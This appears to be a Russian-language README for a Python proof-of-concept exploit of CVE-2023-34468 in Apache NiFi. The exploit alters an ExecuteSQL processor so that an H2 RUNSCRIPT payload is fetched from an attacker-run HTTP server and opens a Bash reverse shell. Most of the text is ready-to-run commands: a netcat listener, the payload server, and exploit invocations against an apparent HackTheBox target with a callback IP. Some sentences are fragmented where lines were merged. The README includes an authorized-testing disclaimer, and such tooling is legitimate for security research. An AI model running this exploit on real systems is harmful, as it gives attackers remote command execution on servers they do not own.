
CVE-2023-34468 Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC
Короткий PoC на Python для эксплуатации редактируемого процессора ExecuteSQL в Apache NiFi с помощью полезной нагрузки H2 RUNSCRIPT с целью инициирования удалённого выполнения команд через обратную оболочку Bash.
Только для авторизованного тестирования и исследований. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore
--processor-id вручную.rce.sql, которая определяет и вызывает реализованный на Java псевдоним для выполнения shell-команд.nc-слушатель и HTTP-сервер.rce.sql через H2 RUNSCRIPT.



git clone https://github.com/ozcanpng/CVE-2023-34468.git
cd CVE-2023-34468
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Терминал 1:
rlwrap nc -lvnp 4444
Терминал 2, из каталога этого репозитория:
python3 -m http.server 8000
Терминал 3:
python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444
Для выбора процессора вручную:
python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id <UUID> --lhost 10.10.16.53 --lport 4444
| Продукт | Затронутая версия | Требуемый доступ | Воздействие |
|---|---|---|---|
| Apache NiFi | Развёртывания, затронутые CVE-2023-34468, использующие редактируемое поведение ExecuteSQL/H2 | Возможность получить доступ к целевому процессору NiFi через API и изменить его | Удалённое выполнение команд |
rce.sql игнорируется git и должен раздаваться из каталога репозитория с помощью python3 -m http.server.--processor-id.ozcanpng — github.com/ozcanpng — ozcanpng.dev